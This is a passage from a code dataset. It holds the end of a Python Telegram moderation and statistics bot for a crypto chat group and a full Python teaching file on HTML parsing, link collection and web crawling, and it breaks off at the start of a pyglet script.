= [WP_ROOM, SP_ROOM, WP_FEED, SP_FEED]\n\n\tfor r in rooms:\n\t\tbot.sendMessage(chat_id=r, parse_mode=\"Markdown\", text=MESSAGES['shill'],disable_web_page_preview=1)\n\t\tbot.sendMessage(chat_id=chat_id, parse_mode=\"Markdown\", text=\"Shilled in \"+ROOM_ID_TO_NAME[r])\n\t\n\n@restricted\ndef commandstats(bot, update):\n\tchat_id = update.message.chat_id\n\tstart = datetime.datetime.today().replace(day=1,hour=0,minute=0,second=0)\n\t# start = start - relativedelta(days=30)\n\n\tpipe = [ \n\t\t{ \"$match\": { 'timestamp': {'$gt': start } } }, \n\t\t{ \"$group\": { \n\t\t\t\"_id\": { \n\t\t\t\t\"year\" : { \"$year\" : \"$timestamp\" }, \n\t\t\t\t\"month\" : { \"$month\" : \"$timestamp\" }, \n\t\t\t\t\"day\" : { \"$dayOfMonth\" : \"$timestamp\" },\n\t\t\t\t\"request\": \"$request\"\n\t\t\t},\n\t\t\t\"total\": { \"$sum\": 1 } \n\t\t\t} \n\t\t}, \n\t\t{ \"$sort\": { \"total\": -1 } }, \n\t\t# { \"$limit\": 3 } \n\t]\n\tres = list(db.pm_requests.aggregate(pipe))\n\n\toutput = {}\n\ttotals = {}\n\n\tfor r in res: \n\n\t\tkey = r['_id']['day']\n\t\tif not(key in output):\n\t\t\toutput[key] = {}\n\n\t\trequest = r['_id']['request']\n\t\tif not(request in output[key]):\n\t\t\toutput[key][r['_id']['request']] = 0 \n\n\t\tif not(request in totals):\n\t\t\ttotals[request] = 0\n\n\t\toutput[key][r['_id']['request']] += r['total']\n\t\ttotals[request] += r['total']\n\n\n\treply = \"*Natalia requests since the start of the month...*\\n\"\n\tfor day in sorted(output.keys()):\n\t\treply += \"--------------------\\n\"\n\t\treply += \"*\"+str(day)+\"*\\n\"\n\n\t\tfor request, count in output[day].items():\n\t\t\treply += request+\" - \"+str(count)+\"\\n\"\n\n\t\t\t\n\treply += \"--------------------\\n\"\n\treply += \"*Totals*\\n\"\n\tfor request in totals:\n\t\treply += request+\" - \"+str(totals[request])+\"\\n\"\n\n\n\tbot.sendMessage(chat_id=chat_id, text=reply, parse_mode=\"Markdown\" )\n\n\n@restricted \ndef joinstats(bot,update):\n\n\tchat_id = update.message.chat_id\n\tstart = datetime.datetime.today().replace(day=1,hour=0,minute=0,second=0)\n\t# start = start - relativedelta(days=30)\n\n\tpipe = [ \n\t\t{ \"$match\": { 'timestamp': {'$gt': start } } }, \n\t\t{ \"$group\": { \n\t\t\t\"_id\": { \n\t\t\t\t\"day\" : { \"$dayOfMonth\" : \"$timestamp\" },\n\t\t\t\t\"chat_id\": \"$chat_id\"\n\t\t\t},\n\t\t\t\"total\": { \"$sum\": 1 } \n\t\t\t} \n\t\t}, \n\t\t{ \"$sort\": { \"total\": -1 } }, \n\t\t# { \"$limit\": 3 } \n\t]\n\tres = list(db.room_joins.aggregate(pipe))\n\n\toutput = {}\n\ttotals = {}\n\n\tfor r in res: \n\n\t\tkey = r['_id']['day']\n\t\tif not(key in output):\n\t\t\toutput[key] = {}\n\n\t\troomid = r['_id']['chat_id']\n\t\tif not(roomid in output[key]):\n\t\t\toutput[key][roomid] = 0 \n\n\t\tif not(roomid in totals):\n\t\t\ttotals[roomid] = 0\n\n\t\toutput[key][roomid] += r['total']\n\t\ttotals[roomid] += r['total']\n\n\n\n\treply = \"*Channel Joins since the start of the month...*\\n\"\n\tfor day in sorted(output.keys()):\n\t\treply += \"--------------------\\n\"\n\t\treply += \"*\"+str(day)+\"*\\n\"\n\n\t\tfor room, count in output[day].items():\n\t\t\treply += ROOM_ID_TO_NAME[room]+\" - \"+str(count)+\"\\n\"\n\n\n\treply += \"--------------------\\n\"\n\treply += \"*Totals*\\n\"\n\tfor roomid in totals:\n\t\treply += ROOM_ID_TO_NAME[roomid]+\" - \"+str(totals[roomid])+\"\\n\"\n\n\tbot.sendMessage(chat_id=chat_id, text=reply, parse_mode=\"Markdown\" )\n\n\ndef fooCandlestick(ax, quotes, width=0.029, colorup='#FFA500', colordown='#222', alpha=1.0):\n\tOFFSET = width/2.0\n\tlines = []\n\tboxes = []\n\n\tfor q in quotes:\n\n\t\ttimestamp, op, hi, lo, close = q[:5]\n\t\tbox_h = max(op, close)\n\t\tbox_l = min(op, close)\n\t\theight = box_h - box_l\n\n\t\tif close>=op:\n\t\t\tcolor = '#3fd624'\n\t\telse:\n\t\t\tcolor = '#e83e2c'\n\n\t\tvline_lo = Line2D( xdata=(timestamp, timestamp), ydata=(lo, box_l), color = 'k', linewidth=0.5, antialiased=True, zorder=10 )\n\t\tvline_hi = Line2D( xdata=(timestamp, timestamp), ydata=(box_h, hi), color = 'k', linewidth=0.5, antialiased=True, zorder=10 )\n\t\trect = Rectangle( xy = (timestamp-OFFSET, box_l), width = width, height = height, facecolor = color, edgecolor = color, zorder=10)\n\t\trect.set_alpha(alpha)\n\t\tlines.append(vline_lo)\n\t\tlines.append(vline_hi)\n\t\tboxes.append(rect)\n\t\tax.add_line(vline_lo)\n\t\tax.add_line(vline_hi)\n\t\tax.add_patch(rect)\n\n\tax.autoscale_view()\n\n\treturn lines, boxes\n\n# Special function for testing purposes \n@restricted\ndef whalepooloverprice(bot, update):\n\tuser_id = update.message.from_user.id \n\tchat_id = update.message.chat_id\n\n\tbot.sendMessage(chat_id=61697695, text=\"Processing data\" )\n\n\t# Room only\n\tmongo_match = { \"$match\": { 'chat_id': WP_ROOM } }\n\n\tdo = 'hourly'\n\n\tif do == 'daily': \n\t\tbar_width = 0.864\n\t\tapi_timeframe = '1D'\n\t\tdate_group_format = \"%Y-%m-%d\"\n\n\tif do == 'hourly': \n\t\tbar_width = 0.029\n\t\tapi_timeframe = '1h'\n\t\tdate_group_format = \"%Y-%m-%dT%H\"\n\n\t# Get the candles\n\turl = 'https://api.bitfinex.com/v2/candles/trade:'+api_timeframe+':tBTCUSD/hist?limit=200'\n\trequest = json.loads(requests.get(url).text)\n\n\tcandles = pd.read_json(json.dumps(request))\n\tcandles.rename(columns={0:'date', 1:'open', 2:'close', 3:'high', 4:'low', 5:'volume'}, inplace=True)\n\tcandles['date'] = pd.to_datetime( candles['date'], unit='ms' )\n\tcandles.set_index(candles['date'], inplace=True)\n\tcandles.sort_index(inplace=True)\n\n\tfirst_candlestick_date = candles.index[0].to_pydatetime()\n\n\tdel candles['date']\n\tcandles = candles.reset_index()[['date','open','high','low','close','volume']]\n\tcandles['date'] = candles['date'].map(mdates.date2num)\n\n\t# Users joins\n\tpipe = [\n\t mongo_match,\n\t { \"$group\": {\n\t\t\t\"_id\": { \"$dateToString\": { \"format\": date_group_format, \"date\": \"$timestamp\" } },\n\t\t\t\"count\": { \"$sum\": 1 }\n\t\t} \n\t },\n\t]\n\trows = list(db.room_joins.aggregate(pipe))\n\n\tuserjoins = pd.DataFrame(rows)\n\tuserjoins['date'] = pd.to_datetime( userjoins['_id'], format=date_group_format)\n\t# msgs['date'] = pd.to_datetime( msgs['_id'], format='%Y-%m-%d')\n\tdel userjoins['_id']\n\tuserjoins.set_index(userjoins['date'], inplace=True)\n\tuserjoins.sort_index(inplace=True)\n\n\tuserjoins['date'] = userjoins['date'].map(mdates.date2num)\n\tuserjoins = userjoins.loc[first_candlestick_date:]\n\n\t# Get the messages\n\tpipe = [\n\t mongo_match,\n\t { \"$group\": {\n\t\t\t\"_id\": { \"$dateToString\": { \"format\": date_group_format, \"date\": \"$timestamp\" } },\n\t\t\t\"count\": { \"$sum\": 1 }\n\t\t} \n\t },\n\t]\n\trows = list(db.natalia_textmessages.aggregate(pipe))\n\n\tmsgs = pd.DataFrame(rows)\n\tmsgs['date'] = pd.to_datetime( msgs['_id'], format=date_group_format)\n\t# msgs['date'] = pd.to_datetime( msgs['_id'], format='%Y-%m-%d')\n\tdel msgs['_id']\n\tmsgs.set_index(msgs['date'], inplace=True)\n\tmsgs.sort_index(inplace=True)\n\n\tmsgs['date'] = msgs['date'].map(mdates.date2num)\n\tmsgs = msgs.loc[first_candlestick_date:]\n\n\t# Stickers\n\tpipe = [\n\t mongo_match,\n\t { \"$group\": {\n\t\t\t\"_id\": { \"$dateToString\": { \"format\": date_group_format, \"date\": \"$timestamp\" } },\n\t\t\t\"count\": { \"$sum\": 1 }\n\t\t} \n\t },\n\t]\n\trows = list(db.natalia_stickers.aggregate(pipe))\n\n\tgifs = pd.DataFrame(rows)\n\tgifs['date'] = pd.to_datetime( gifs['_id'], format='%Y-%m-%dT%H')\n\t# msgs['date'] = pd.to_datetime( msgs['_id'], format='%Y-%m-%d')\n\tdel gifs['_id']\n\tgifs.set_index(gifs['date'], inplace=True)\n\tgifs.sort_index(inplace=True)\n\tgifs['date'] = gifs['date'].map(mdates.date2num)\n\tgifs = gifs.loc[first_candlestick_date:]\n\n\t# Enable a Grid\n\tplt.rc('axes', grid=True)\n\t# Set Grid preferences \n\tplt.rc('grid', color='0.75', linestyle='-', linewidth=0.5)\n\n\t# Create a figure, 16 inches by 12 inches\n\tfig = plt.figure(facecolor='white', figsize=(22, 12), dpi=100)\n\n\t# Draw 3 rectangles\n\t# left, bottom, width, height\n\tleft, width = 0.1, 1\n\trect1 = [left, 0.7, width, 0.5]\n\trect2 = [left, 0.5, width, 0.2]\n\trect3 = [left, 0.3, width, 0.2]\n\trect4 = [left, 0.1, width, 0.2]\n\n\tax1 = fig.add_axes(rect1, facecolor='#f6f6f6') \n\tax2 = fig.add_axes(rect2, facecolor='#f6f6f6', sharex=ax1)\n\tax3 = fig.add_axes(rect3, facecolor='#f6f6f6', sharex=ax1)\n\tax4 = fig.add_axes(rect4, facecolor='#f6f6f6', sharex=ax1)\n\n\tax1 = fig.add_axes(rect1, facecolor='#f6f6f6') \n\tax1.set_xlabel('date')\n\n\tax1.set_title('Whalepool Messages, Gif & User joins per hour over price', fontsize=20, fontweight='bold')\n\tax1.xaxis_date()\n\n\tfooCandlestick(ax1, candles.values, width=bar_width, colorup='g', colordown='k',alpha=0.9)\n\t# fooCandlestick(ax2, candles.values, width=0.864, colorup='g', colordown='k',alpha=0.9)\n\tax1.set_ylabel('Bitcoin Price', color='g', size='large')\n\tfig.autofmt_xdate()\n\n\t# STICKERS\n\tgifs['count'] = gifs['count'].astype(float)\n\tgifvals = gifs['count'].values\n\tvmax = gifvals.max()\n\tupper, middle, lower = ta.BBANDS(gifvals, timeperiod=20, nbdevup=2.05, nbdevdn=2, matype=0)\n\tgifs['upper'] = upper\n\tmask = gifs['count'] > gifs['upper']\n\n\tax2.set_ylabel('Gifs', color='g', size='large')\n\tax2.bar(gifs['date'].values, gifvals,color='#7f7f7f',width=bar_width,align='center')\n\tax2.plot( gifs['date'].values, upper, color='#FFA500', alpha=0.3 )\n\tax2.bar(gifs[mask]['date'].values, gifs[mask]['count'].values,color='#e53ce8',width=bar_width,align='center')\n\n\t# MESSAGES\n\tmsgs['count'] = msgs['count'].astype(float)\n\tmessages = msgs['count'].values\n\tvmax = messages.max()\n\tupper, middle, lower = ta.BBANDS(messages, timeperiod=20, nbdevup=2.05, nbdevdn=2, matype=0)\n\tmsgs['upper'] = upper\n\tmask = msgs['count'] > msgs['upper']\n\n\tax3.set_ylabel('Messages', color='g', size='large')\n\tax3.bar(msgs['date'].values, messages,color='#7f7f7f',width=bar_width,align='center')\n\tax3.plot( msgs['date'].values, upper, color='#FFA500', alpha=0.3 )\n\tax3.bar(msgs[mask]['date'].values, msgs[mask]['count'].values,color='#4286f4',width=bar_width,align='center')\n\n\t# User joins\n\tuserjoins['count'] = userjoins['count'].astype(float)\n\tmacd, macdsignal, macdhist = ta.MACD(userjoins['count'].values, fastperiod=12, slowperiod=26, signalperiod=9)\n\tnp.nan_to_num(macdhist)\n\n\tgrowing_macd_hist = macdhist.copy()\n\tgrowing_macd_hist[ growing_macd_hist < 0 ] = 0\n\n\tax4.set_ylabel('User Joins Momentum', color='g', size='large')\n\tax4.plot(userjoins['date'].values, macd, color='#4449EC', lw=2)\n\tax4.plot(userjoins['date'].values, macdsignal, color='#F69A4E', lw=2)\n\tax4.bar(userjoins['date'].values, macdhist,color='#FB5256',width=bar_width,align='center')\n\tax4.bar(userjoins['date'].values, growing_macd_hist,color='#4BF04F',width=bar_width,align='center')\n\n\t#im = Image.open(LOGO_PATH) \n\t#fig.figimage( im, 105, (fig.bbox.ymax - im.size[1])-29)\n\tPATH_MSGS_OVER_PRICE = PATH+\"messages_over_price.png\"\n\n\tplt.savefig(PATH_MSGS_OVER_PRICE, bbox_inches='tight')\n\n\n\tmsg = bot.sendPhoto(chat_id=WP_ROOM, photo=open(PATH_MSGS_OVER_PRICE,'rb'), caption=\"Whalepool Messages, Gif & User joins per hour over price\" )\n\tbot.sendMessage(chat_id=chat_id, text=\"'Whalepool Messages, Gif & User joins per hour over price' posted to \"+ROOM_ID_TO_NAME[WP_ROOM] )\n\n\tos.remove(PATH_MSGS_OVER_PRICE)\n\n\t# bot.sendMessage(chat_id=61697695, text=\"Posting... sometimes this can cause the telegram api to 'time out' ? so won't complete posting but trying anyway..\" )\n\n\t# profile_pics = bot.getUserProfilePhotos(user_id=user_id)\n\t# for photo in profile_pics['photos'][0]:\n\t# if photo['height'] == 160:\n\t# bot.sendPhoto(chat_id=61697695, photo=photo['file_id'])\n\t# new_file = bot.getFile(photo['file_id'])\n\t# new_file.download('telegram.jpg')\n\t# pprint(photo.__dict__)\n\n\n# Special function for testing purposes \n@restricted\ndef special(bot, update):\n\tuser_id = update.message.from_user.id \n\tchat_id = update.message.chat_id\n\tif user_id == 61697695:\n\n\t\t# Test Emoji\n\t\ttext = ''\n\t\t# Red \n\t\ttext += '❤'\n\t\t# Orange\n\t\ttext += '💛'\n\t\t# Green \n\t\ttext += '💚'\n\t\t# Blue \n\t\ttext += '💙'\n\t\t# Black\n\t\ttext += '🖤'\n\n\t\tbot.sendMessage(chat_id=61697695, text=text )\n\n\n#################################\n# BOT EVENT HANDLING \n\ndef new_chat_member(bot, update):\n\t\"\"\" Welcomes new chat member \"\"\"\n\n\tuser_id = update.message.from_user.id \n\tmessage_id = update.message.message_id \n\troom = get_room(update.message.chat.id)\n\tname = get_name(update.message._new_chat_members)\n\n\tif (room['is_welcome'] == 1):\n\t\t# Check user has a profile pic.. \n\n\t\ttimestamp = datetime.datetime.utcnow()\n\n\t\tinfo = { 'user_id': user_id, 'chat_id': room['id'], 'timestamp': timestamp }\n\t\tdb.room_joins.insert(info)\n\n\t\tprofile_pics = bot.getUserProfilePhotos(user_id=user_id)\n\t\tif profile_pics.total_count == 0:\n\t\t\tpprint(\"USER NEEDS A PROFILE PIC\")\n\n\t\trestricted = 0\n\n\t\t# Bot was added to a group chat\n\t\tif update.message._new_chat_members.username == BOTNAME:\n\t\t\treturn False\n\t\t# Another user joined the chat\n\t\telse:\n\t\t\tpprint('Room: '+str(room['name']))\n\t\t\tpprint('Chat_id: '+str(room['id']))\n\t\t\tpprint('Last welcome Msg to del. : '+str(room['prior_welcome_message_id']))\n\t\t\tpprint('Last Join Msg to del. : '+str(room['prior_welcome_message_id']))\n\n\t\t\ttry:\n\t\t\t\t# Delete the previous welcome and join message if there is one\n\t\t\t\tif room['prior_welcome_message_id'] > 0: \n\t\t\t\t\tbot.delete_message(chat_id=room['id'], message_id=room['prior_welcome_message_id'])\n\t\t\t\t\tbot.delete_message(chat_id=room['id'], message_id=room['prior_join_message_id'])\n\t\t\texcept:\n\t\t\t\tpass\n\n\t\t\t# Send a welcome message (specific message for WPWOMENS, and no pic)\n\t\t\tlogger.info(\"welcoming - \"+name)\n\t\t\tif (room['special_welcome_message'] != ''):\n\t\t\t\tmsg = (MESSAGES[room['special_welcome_message']] % (name))\n\t\t\telse:\n\t\t\t\tmsg = random.choice(MESSAGES['welcome']) % (name)\n\n\t\t\tif profile_pics.total_count == 0:\n\t\t\t\tmsg += \" - **Also, please set a profile pic!!**\"\n\t\t\tmessage = bot.sendMessage(chat_id=room['id'],reply_to_message_id=message_id,text=msg) \n\n\t\t\t# Save as the prior welcome join messages\n\t\t\troom['prior_welcome_message_id'] = int(message.message_id)\n\t\t\troom['prior_join_message_id'] = int(message_id)\n\n\t# Restrict the user according to the room's settings (more than 366 days == forever(from the official doc!))\n\tbot.restrict_chat_member(chat_id=room['id'], user_id=user_id, until_date=(datetime.datetime.now() + relativedelta(days=room['days_restriction_on_join'])), can_send_messages=False, can_send_media_messages=False, can_send_other_messages=False, can_add_web_page_previews=False)\n\n\ndef left_chat_member(bot, update):\n\t\"\"\" Says Goodbye to chat member \"\"\"\n\t# Disabled # Spammy # Not needed # Zero Value add \n\treturn False \n\n\t# name = get_name(update.message.from_user)\n\t# logger.info(message.left_chat_member.first_name+' left chat '+message.chat.title)\n\t# name = get_name(update.message.from_user)\n\t# msg = random.choice(MESSAGES['goodbye']) % (name)\n\t# bot.sendMessage(chat_id=update.message.chat.id,text=msg,parse_mode=\"Markdown\",disable_web_page_preview=1) \n\n\n# Just log/handle a normal message\ndef log_message_private(bot, update):\n# pprint(update.__dict__, indent=4)\n\t# pprint(update.message.__dict__, indent=4)\n\tusername = update.message.from_user.username \n\tuser_id = update.message.from_user.id \n\tmessage_id = update.message.message_id \n\troom = get_room(update.message.chat.id)\n\tname = get_name(update.message.from_user)\n\n\tlogger.info(\"Private Log Message: \"+name+\" said: \"+update.message.text)\n\n\t# msg = bot.forwardMessage(chat_id=FORWARD_PRIVATE_MESSAGES_TO, from_chat_id=chat_id, message_id=message_id)\n\n\tmsg = bot.sendMessage(chat_id=room['id'], text=(MESSAGES['start'] % name),parse_mode=\"Markdown\",disable_web_page_preview=1)\n\n\n# Just log/handle a normal message\ndef echo(bot, update):\n\tusername = update.message.from_user.username \n\tuser_id = update.message.from_user.id \n\tmessage_id = update.message.message_id \n\troom = get_room(update.message.chat.id)\n\n\tif username != None:\n\t\tmessage = username+': '+update.message.text\n\t\tpprint(str(room['id'])+\" - \"+str(message))\n\t\n\t\tname = get_name(update.message.from_user)\n\t\ttimestamp = datetime.datetime.utcnow()\n\n\t\tinfo = { 'user_id': user_id, 'chat_id': room['id'], 'message_id':message_id, 'message': message, 'timestamp': timestamp }\n\t\tdb.natalia_textmessages.insert(info)\n\n\t\tinfo = { 'user_id': user_id, 'name': name, 'username': username, 'last_seen': timestamp }\n\t\tdb.users.update_one( { 'user_id': user_id }, { \"$set\": info }, upsert=True)\n\n\telse:\n\t\tprint(\"Person chatted without a username\")\n\n\ndef photo_message(bot, update):\n\tuser_id = update.message.from_user.id \n\tmessage_id = update.message.message_id \n\troom = get_room(update.message.chat.id)\n\tcaption = update.message.caption\n\n\t# Picture has a caption ? \n\tif caption != None:\n\n\t\t# Find hashtags in the caption\n\t\thashtags = re.findall(r'#\\w*', caption)\n\n\t\t# Did we find any ? \n\t\tif len(hashtags) > 0:\n\n\t\t\t# Any matching ones, default = False\n\t\t\tlegit_hashtag = False\n\n\t\t\t# Itterate hashtags \n\t\t\tfor e in hashtags:\n\t\t\t\tif legit_hashtag == False:\n\t\t\t\t\tlegit_hashtag = forward_hashtags.get(e,False)\n\n\t\t\t# Post is allowed to be forwarded \n\t\t\tif legit_hashtag != False:\n\t\t\t\tbot.forwardMessage(chat_id=legit_hashtag, from_chat_id=room['id'], message_id=message_id)\n\n\tif user_id == 61697695:\n\t\tpprint('Photo / Picture')\n\t\tpprint(update.message.__dict__)\n\t\tfor p in update.message.photo:\n\t\t\tpprint(p.__dict__)\n\n\ndef sticker_message(bot, update):\n\tuser_id = update.message.from_user.id\n\tmessage_id = update.message.message_id \n\troom = get_room(update.message.chat.id)\n\ttimestamp = datetime.datetime.utcnow()\n\tusername = update.message.from_user.username \n\tname = get_name(update.message.from_user)\n\n\t# if chat_id in LOG_ROOMS: \n\tif chat_id: \n\n\t\tpprint('STICKER')\n\t\t\n\t\tsticker_id = update.message.sticker.file_id\n\t\t\n\t\t# file = bot.getFile(sticker_id)\n\t\tpprint(update.message.sticker.__dict__)\n\t\t# pprint(file.__dict__)\n\t\t\n\t\tif username != None:\n\t\t\tinfo = { 'user_id': user_id, 'chat_id': room['id'], 'message_id': message_id, 'sticker_id': sticker_id, 'timestamp': timestamp }\n\t\t\tdb.natalia_stickers.insert(info)\n\n\t\t\tinfo = { 'user_id': user_id, 'name': name, 'username': username, 'last_seen': timestamp }\n\t\t\tdb.users.update_one( { 'user_id': user_id }, { \"$set\": info }, upsert=True)\n\n\ndef video_message(bot, update):\n\tuser_id = update.message.from_user.id \n\tmessage_id = update.message.message_id \n\troom = get_room(update.message.chat.id)\n\ttimestamp = datetime.datetime.utcnow()\n\tname = get_name(update.message.from_user)\n\n\tpprint('VIDEO')\n\n\t# Not doing anything with this yet\n\n\ndef document_message(bot, update):\n\tuser_id = update.message.from_user.id \n\tmessage_id = update.message.message_id \n\troom = get_room(update.message.chat.id)\n\ttimestamp = datetime.datetime.utcnow()\n\tusername = update.message.from_user.username \n\tname = get_name(update.message.from_user)\n\n\tif room['is_log'] == 1 : \n\n\t\timages = ['image/jpeg','image/png','image/jpg','image/tiff']\n\t\tif update.message.document.mime_type in images:\n\n\t\t\tif room['lastuncompressed_image_message_id'] > 0: \n\t\t\t\tbot.delete_message(chat_id=room['id'], message_id=room['lastuncompressed_image_message_id'])\n\n\t\t\tbot.delete_message(chat_id=room['id'], message_id=message_id)\n\t\t\tmessage = bot.sendMessage(chat_id=room['id'], text=(MESSAGES['uncompressedImage'] % name),parse_mode=\"Markdown\",disable_web_page_preview=1)\n\t\t\troom['lastuncompressed_image_message_id'] = int(message.message_id)\n\n\t\tif update.message.document.mime_type == 'video/mp4':\n\n\t\t\tpprint('VIDEO')\n\t\t\t\n\t\t\tfile_id = update.message.document.file_id\n\t\t\n\t\t\tif username != None:\n\t\t\t\tinfo = { 'user_id': user_id, 'chat_id': room['id'], 'message_id': message_id, 'file_id': file_id, 'timestamp': timestamp }\n\t\t\t\tdb.natalia_gifs.insert(info)\n\n\t\t\t\tinfo = { 'user_id': user_id, 'name': name, 'username': username, 'last_seen': timestamp }\n\t\t\t\tdb.users.update_one( { 'user_id': user_id }, { \"$set\": info }, upsert=True)\n\n\n\ndef links_and_hashtag_messages(bot, update):\n\tuser_id = update.message.from_user.id \n\tmessage_id = update.message.message_id \n\troom = get_room(update.message.chat.id)\n\tname = get_name(update.message.from_user)\n\n\t# Shill logic : stop and counter reflinks\n\tfind_shill = re.findall(SHILL_DETECTOR, update.message.text)\n\tif (len(find_shill) > 0) and room['is_countershill']:\n\n\t\tcountershillReply = MESSAGES['countershillReplyStart']\n\n\t\tfor s in COUNTER_SHILL: \n\n\t\t\tfound = re.findall(s['regex'], update.message.text) \n\t\t\tif len(found) > 0: \n\t\t\t\tcountershillReply += MESSAGES['countershillReplyCenter'].format(name, s['title'], s['link'])\n\n\t\t# Send message to mod chat that soemeone has shilled\n\t\tbot.sendMessage(chat_id=room['admin_room_id'], text= MESSAGES['countershillAdminWarning'].format(name, room['name']),parse_mode=\"Markdown\",disable_web_page_preview=1)\n\n\t\t# Forward the offending message to the mod room\n\t\tbot.forwardMessage(chat_id=room['admin_room_id'], from_chat_id=room['id'], message_id=message_id)\n\n\t\t# Delete the offending message\n\t\tbot.delete_message(chat_id=room['id'], message_id=message_id)\n\n\t\t# Replace with the new replacement message\n\t\tbot.sendMessage(chat_id=room['id'], text=countershillReply, disable_web_page_preview=1)\n\n\t\t# Ban the bad actor\n\t\tbot.kick_chat_member(chat_id=room['id'], user_id=user_id)\n\n\t# Forward to channels logic\n\turls = [] \n\tlegit_hashtag = False\n\tfor entity in update.message.entities:\n\t\tmessage_text = update.message.text[entity.offset:(entity.length+entity.offset)]\n\t\tif entity.type == 'hashtag':\n\t\t\tif message_text == room['forward_hashtag']:\n\t\t\t\tlegit_hashtag = True\n\t\tif entity.type == 'url':\n\t\t\turls.append(message_text)\n\n\tfurlcnt = re.findall(FORWARD_URLS, update.message.text)\n\tif len(furlcnt) > 0 :\n\t\tbot.forwardMessage(chat_id=room['forward_channel'], from_chat_id=room['id'], message_id=message_id)\n\n\n#################################\n# Command Handlers\nlogger.info(\"Setting command handlers\")\nupdater = Updater(bot=bot,workers=10)\ndp = updater.dispatcher\n\n# Commands\ndp.add_handler(CommandHandler('id', getid))\ndp.add_handler(CommandHandler('start', start))\ndp.add_handler(CommandHandler('about', about))\ndp.add_handler(CommandHandler('rules', rules))\ndp.add_handler(CommandHandler('admins', admins))\ndp.add_handler(CommandHandler('teamspeak', teamspeak))\ndp.add_handler(CommandHandler('telegram', telegram))\ndp.add_handler(CommandHandler('livestream', livestream))\n# dp.add_handler(CommandHandler('fomobot', fomobot))\ndp.add_handler(CommandHandler('teamspeakbadges', teamspeakbadges))\ndp.add_handler(CommandHandler('exchanges', exchanges))\ndp.add_handler(CommandHandler('donation', donation))\ndp.add_handler(CommandHandler('special', special))\n\ndp.add_handler(CommandHandler('topstickers', topstickers))\ndp.add_handler(CommandHandler('topgif', topgif))\ndp.add_handler(CommandHandler('topgifposters', topgifposters))\ndp.add_handler(CommandHandler('todayinwords', todayinwords))\ndp.add_handler(CommandHandler('todaysusers', todaysusers))\ndp.add_handler(CommandHandler('promotets', promotets))\ndp.add_handler(CommandHandler('shill', shill))\ndp.add_handler(CommandHandler('commandstats',commandstats))\ndp.add_handler(CommandHandler('joinstats',joinstats))\ndp.add_handler(CommandHandler('whalepooloverprice',whalepooloverprice))\n\n# Welcome\ndp.add_handler(MessageHandler(Filters.status_update.new_chat_members, new_chat_member))\n\n# Goodbye \ndp.add_handler(MessageHandler(Filters.status_update.left_chat_member, left_chat_member))\n\n# Photo message\ndp.add_handler(MessageHandler(Filters.photo, photo_message))\n\n# Sticker message\ndp.add_handler(MessageHandler(Filters.sticker, sticker_message))\n\n# Video\ndp.add_handler(MessageHandler(Filters.video, video_message))\n\n# Links & Hashtags\ndp.add_handler(MessageHandler((Filters.entity(MessageEntity.HASHTAG) | Filters.entity(MessageEntity.URL)), links_and_hashtag_messages))\n\n# Documents \ndp.add_handler(MessageHandler(Filters.document, document_message))\n\n# Someone private messages Natalia\ndp.add_handler(MessageHandler(Filters.private, log_message_private))\n\n# Normal Text chat\ndp.add_handler(MessageHandler(Filters.text, echo))\n\n# log all errors\ndp.add_error_handler(error)\n\n\n#################################\n# Polling \nlogger.info(\"Starting polling\")\nupdater.start_polling()\n\n# PikaWrapper()","sub_path":"natalia.py","file_name":"natalia.py","file_ext":"py","file_size_in_byte":44655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"172480986","text":"### using python to retrieve documents ###\n'''\nthe import: from urllib.request import *\n\nhtml documents are really text documents\n\nIf the html file is local, use open()\nlen(open('sample.html').read())\n\nFor remote documents, wse need urllib.request\nresponse = urlopen('http://cnn.com')\nhtml = response .read().decode()\n\nretireve and save files: urlretrieve('*url*')\n'''\nfrom urllib.request import *\n\n### HTMLparser ###\n'''\nbreaks up an html document into usable pieces\n\n handle_starttag\n handle_endtag\n handle_data\n\nthese are stubs - implementation is pass\nwe get the behavior we want through inheriting HTMLParser\n'''\n\nfrom html.parser import HTMLParser\n\nclass PrintParser(HTMLParser):\n #inherits method feed\n\n def handle_starttag(self, tag, attrs):\n print('handle_starttag', tag, attrs)\n\n def handle_endtag(self, tag):\n print('handle_endtag', tag)\n\n def handle_data(self, data):\n print('handle_data', data)\n\n\n### urljoin ###\n'''\nused to turn relative link to an absolute link\n'''\n\n### LinkCollector ###\nfrom html.parser import HTMLParser\nfrom urllib.request import urlopen\nfrom urllib.parse import urljoin\n\nclass LinkCollector(HTMLParser):\n ''' when given a url, LinkCollector\ncollects all the links found at that url. You\ncan retrieve either 1) relative links 2) absolute links\n3) all links. all will be returned in absolute form.\n'''\n def __init__(self,url):\n # do I need this?\n HTMLParser.__init__(self)\n self.url = url\n self.absoluteLinks = set()\n self.relativeLinks = set()\n\n def handle_starttag(self,tag,attrs):\n if tag=='a':\n #print( tag, attrs )\n for attr,value in attrs:\n if attr=='href':\n if value[:4]=='http': # absolute\n self.absoluteLinks.add( value )\n else: # relative\n url = urljoin(self.url, value)\n self.relativeLinks.add( url )\n\n def getRelatives(self):\n return self.relativeLinks\n def getAbsolutes(self):\n return self.absoluteLinks\n def getLinks(self):\n return self.relativeLinks.union(self.absoluteLinks)\n\ndef scrapeLinks( url, filename):\n\n ''' creates a local html file filename\ncontaining all links found at url'''\n\n # collect links\n lc = LinkCollector( url )\n lc.feed( urlopen(url).read().decode())\n\n # write to a file\n file = open(filename,'w')\n file.write( '')\n for link in lc.getLinks():\n file.write(' {}
\\n'.format(link,link))\n file.write( '')\n file.close()\n\n\n### Crawler ###\nfrom urllib.error import URLError\n\nclass Crawler():\n\n def __init__(self):\n self.crawled = set() # pages that were read\n self.found = set() # links found\n self.dead = set() # pages that couldnt read\n\n def crawl(self,url,depth=0,relativeOnly=True):\n\n # create a LinkCollector and feed it html\n lc = LinkCollector(url)\n try:\n lc.feed( urlopen(url).read().decode() )\n except (UnicodeDecodeError,URLError):\n self.dead.add( url )\n self.crawled.add(url)\n\n if relativeOnly: # only collecting relative links\n found = lc.getRelatives()\n else:\n found = lc.getLinks()\n self.found.update( found )\n\n # recursively crawl found links\n if depth>0: # crawl\n for link in found:\n if link not in self.crawled:\n self.crawl(link,depth-1,relativeOnly)\n\n def getCrawled(self):\n return self.crawled\n def getFound(self):\n return self.found\n def getDead(self):\n return self.dead\n","sub_path":"Homework 6/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"140408763","text":"import os\nimport glob\nimport sys\n\nimport pyglet\n\npyglet.clock.set_fps_limit(60)\n\n# set images paths\npyglet.resource.path = 